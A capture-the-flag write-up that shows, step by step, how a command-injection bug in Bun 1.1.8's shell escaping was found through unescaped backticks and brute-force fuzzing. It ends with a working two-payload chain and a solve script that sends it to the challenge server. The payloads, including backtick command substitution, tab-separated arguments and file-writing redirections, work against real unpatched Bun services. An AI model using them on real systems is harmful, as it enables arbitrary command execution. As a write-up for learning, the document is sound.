NOTEThe source code of the challenge can be found here: https://github.com/hitconctf/ctf2024.hitcon.org/releases/download/v1.0.0/eaas-a9e76a905cbde9556353890f49ca9bc6bcd3aade.tar.gz
You might have seen this message from me:

It wouldn’t take long to write two lines of solve.py right? Let’s start!
Tracing 1day
First let’s create a minimal environment for easy testing:
> npm i -g bun@1.1.8
> bun index.js
listening on http://localhost:1337Great, let’s try to submit something

As expected, it acts as an echo service
const output = await $`echo ${msg}`.text();
So what if instead of echo Hello! we could sneak in a echo hi | /readflag?
For convenience instead of requesting through browser I will write a simple script instead
import { $ } from "bun";
let cmd = "hi | /readflag give me the flag"
await $`echo ${cmd}`;
await $`echo hi | /readflag give me the flag`;> bun req.js
hi | /readflag give me the flag
hitcon{placeholder}But why didn’t the first command work? A quick google search about bun shell lands us on this page: https://bun.sh/blog/the-bun-shell#introducing-the-bun-shell
Quote: For security, all template variables are escaped:
const filename = "foo.js; rm -rf /";
// This will run `ls 'foo.js; rm -rf /'`
const results = await $`ls ${filename}`;
console.log(results.exitCode); // 1
console.log(results.stderr.toString()); // ls: cannot access 'foo.js; rm -rf /': No such file or directoryHmm interesting, so how exactly do they escape the template variables? Again a quick google search did the trick: https://bun.sh/docs/runtime/shell#escape-escape-strings
Quote: $.escape (escape strings) Exposes Bun Shell’s escaping logic as a function:
import { $ } from "bun";
console.log($.escape('$(foo) `bar` "baz"'));
// => \$(foo) \`bar\` \"baz\"Let’s implement this into our test script to see the escaped string in req.js
import { $ } from "bun";
let cmd = "hi | /readflag give me the flag"
console.log($.escape("hi"));
console.log($.escape(cmd));
await $`echo ${cmd}`;> bun req.js
hi
"hi | /readflag give me the flag"
hi | /readflag give me the flagAs we can see, bun shell has added a double quote around our string, which is the reason why the exploit didn’t work
Fortunate for us, bun is open sourced. Let’s try to search for the source code of bun shell at the time of release 1.1.8: https://github.com/oven-sh/bun/tree/bun-v1.1.8
Implementation of bun shell is located in shell/shell.zig: https://github.com/oven-sh/bun/blob/bun-v1.1.8/src/shell/shell.zig

We can try to go through newer version and see which bug has been fixed. In this case, I picked version 1.1.9 and pressed history

An interesting PR caught our eyes: Fix backtick escaping and add more tests
Quote:
What does this PR do?
This fixes shell not escaping a string with backticks and no other special characters
Also added more tests for shell escapingWe got something! They said backticks aren’t escaped!!
import { $ } from "bun";
let cmd = "`whoami`"
console.log($.escape(cmd));
await $`echo ${cmd}`;I don’t know whoami but apparently bun does
> bun req.js
`whoami`
nullchillyThis means that we can just read the flag and the challenge is done
import { $ } from "bun";
let cmd = "`/readflag give me the flag`"
console.log($.escape(cmd));
await $`echo ${cmd}`;..is what I wanted to say, but reality is often disappointing :(
> bun req.js
"\`/readflag give me the flag\`"
`/readflag give me the flag`What exactly happened here? Skeeming through the PR we can see this interesting diff:
/// Characters that need to escaped
- const SPECIAL_CHARS = [_]u8{ '$', '>', '&', '|', '=', ';', '\n', '{', '}', ',', '(', ')', '\\', '\"', ' ', '\'' };
+ const SPECIAL_CHARS = [_]u8{ '~', '[', ']', '#', ';', '\n', '*', '{', ',', '}', '`', '$', '=', '(', ')', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '|', '>', '<', '&', '\'', '"', ' ', '\\' };As you can see, they did in fact fix the backticks escaping in 1.1.9. However, spaces was unfortunately already escaped in 1.1.8
import { $ } from "bun";
let cmd = "`/readflag`"
console.log($.escape(cmd));
await $`echo ${cmd}`;Removing spaces from the cmd did in fact bypass the bun escape
❯ bun req.js
`/readflag`
Usage: /readflag give me the flagBut /readflag wanted us to give 4 parameters and parameters need some spaces
One maybe thinking of using \t instead of space
import { $ } from "bun";
let cmd = "`/readflag\tgive\tme\tthe\tflag`"
console.log($.escape(cmd));
await $`echo ${cmd}`;Unfortunately, bun has a different idea and thought that is a single binary :<
> bun req.js
`/readflag give me the flag`
bun: command not found: /readflag give me the flagFuzzing
Ok so we can’t use spaces, we can still try a lot of stuff right? Can’t we just do cat</flag?:
import { $ } from "bun";
let cmd = "`cat</flag`"
console.log($.escape(cmd));
await $`echo ${cmd}`;
await $`echo ${"`cat</etc/os-release`"}`;
Unfortunately we don’t have permission to read from /flag directly. We’re forced to read it through /readflag instead
❯ bun req.js
`cat</flag`
/bin/sh: 1: cannot open /flag: Permission denied
NAME="Arch Linux" PRETTY_NAME="Arch Linux" ID=arch BUILD_ID=rolling ANSI_COLOR="38;2;23;147;209" HOME_URL="https://archlinux.org/"At this point I’m out of ideas, I’ve gotten a “shell” but I can’t get anything to work.
What do you do at the end of the world? Are you busy? Will you bruteforce to find patterns?
“When in doubt, fuzz it out” - GalloDaSballo, 2024
brute.js
import { $ } from "bun";
const startCharCode = 33;
const endCharCode = 126;
let characters = [];
for (let i = startCharCode; i <= endCharCode; i++) {
characters.push(String.fromCharCode(i));
}
const totalChars = characters.length;
let lim = 0;
for (let i = 0; i < totalChars; i++) {
for (let j = 0; j < totalChars; j++) {
for (let k = 0; k < totalChars; k++) {
for (let l = 0; l < totalChars; l++) {
for (let m = 0; m < totalChars; m++) {
let combination = characters[i] + characters[j] + characters[k] + characters[l] + characters[m];
if ($.escape(combination) == combination) {
try {
lim++;
console.log(combination);
await $`echo ${combination}`;
} catch {
}
}
}
}
}
}
}Why think for hours when you can get the computer to do it for you! This is when I have the idea of just brute-forcing the payload :)
I tried to run all possible payloads with size = 5, each char in the range ’!’ to ’~’ (33 to 126) Also I didn’t even write this brute myself, chatgpt did :)
This is what happens when I ran bun brute.js

A LOT of files appeared out of thin air. At this point I was very happy one of the payload found their way to write to files
However, we still need to find WHICH payload actually triggered this
In order to prevent my work folder getting littered with random files again, I created a test folder, cd into it and run bun ../brute.js instead and started binary searching for LIM
const LIM = 59140
import { $ } from "bun";
const startCharCode = 33;
const endCharCode = 126;
let characters = [];
for (let i = startCharCode; i <= endCharCode; i++) {
characters.push(String.fromCharCode(i));
}
const totalChars = characters.length;
let lim = 0;
for (let i = 0; i < totalChars; i++) {
for (let j = 0; j < totalChars; j++) {
for (let k = 0; k < totalChars; k++) {
for (let l = 0; l < totalChars; l++) {
for (let m = 0; m < totalChars; m++) {
let combination = characters[i] + characters[j] + characters[k] + characters[l] + characters[m];
if ($.escape(combination) == combination) {
try {
lim++;
if (lim >= LIM) {
await new Promise(resolve => setTimeout(resolve, 1000));
}
console.log(combination);
await $`echo ${combination}`;
} catch {
}
}
}
}
}
}
}
If test folder is empty after rm *; bun ../brute.js then check(LIM) = true otherwise check(LIM) = false
I managed to find that LIM = 59140, and the payload that worked was !!1<?
import { $ } from "bun";
let cmd = "!!1<?"
console.log($.escape(cmd));
await $`echo ${cmd}`;Low and behold echo !!1<? worked, a wild ? appeared with the content !!
> bun req.js
!!1<?
> cat ?
!!
But what can we do with an ability to write? The first thing that came to my mind was create a bash script:
import { $ } from "bun";
let cmd = "/readflag give me the flag 1< flag.sh"
console.log($.escape(cmd));
await $`echo ${cmd}`;Huh? What happened here, isn’t echo /readflag give me the flag 1< flag.sh supposed to work?
> bun req.js
"/readflag give me the flag 1< flag.sh"
/readflag give me the flag 1< flag.sh
> cat flag.sh
cat: flag.sh: No such file or directory
Apparently I forgot that bun shell escaped spaces, the last time we tried \t it didn’t work but why not try our luck again?
import { $ } from "bun";
let cmd = "/readflag\tgive\tme\tthe\tflag1<flag.sh"
console.log($.escape(cmd));
await $`echo ${cmd}`;FINALLY IT WORKED!
> bun req.js
/readflag give me the flag1<flag.sh
> cat flag.sh
/readflag give me the flagNow all that is left is enjoy the glory together with sh
import { $ } from "bun";
let cmd = "`sh<flag.sh`"
console.log($.escape(cmd));
await $`echo ${cmd}`;We have successfully solved this problem locally .-.
> bun req.js
`sh<flag.sh`
hitcon{placeholder}Now let’s launch our instance and catch the fish!

cmd = ['/readflag\tgive\tme\tthe\tflag1<flag.sh', '`sh<flag.sh`']
[print(__import__("requests").post("http://eaas.chal.hitconctf.com:30951/echo", data={'msg': cmd[x]}).text) for x in range(2)]> python solve.py
hitcon{i_found_this_bug_during_LINECTF_but_unfortunately_it_became_1day_challenge_a_few_months_ago}
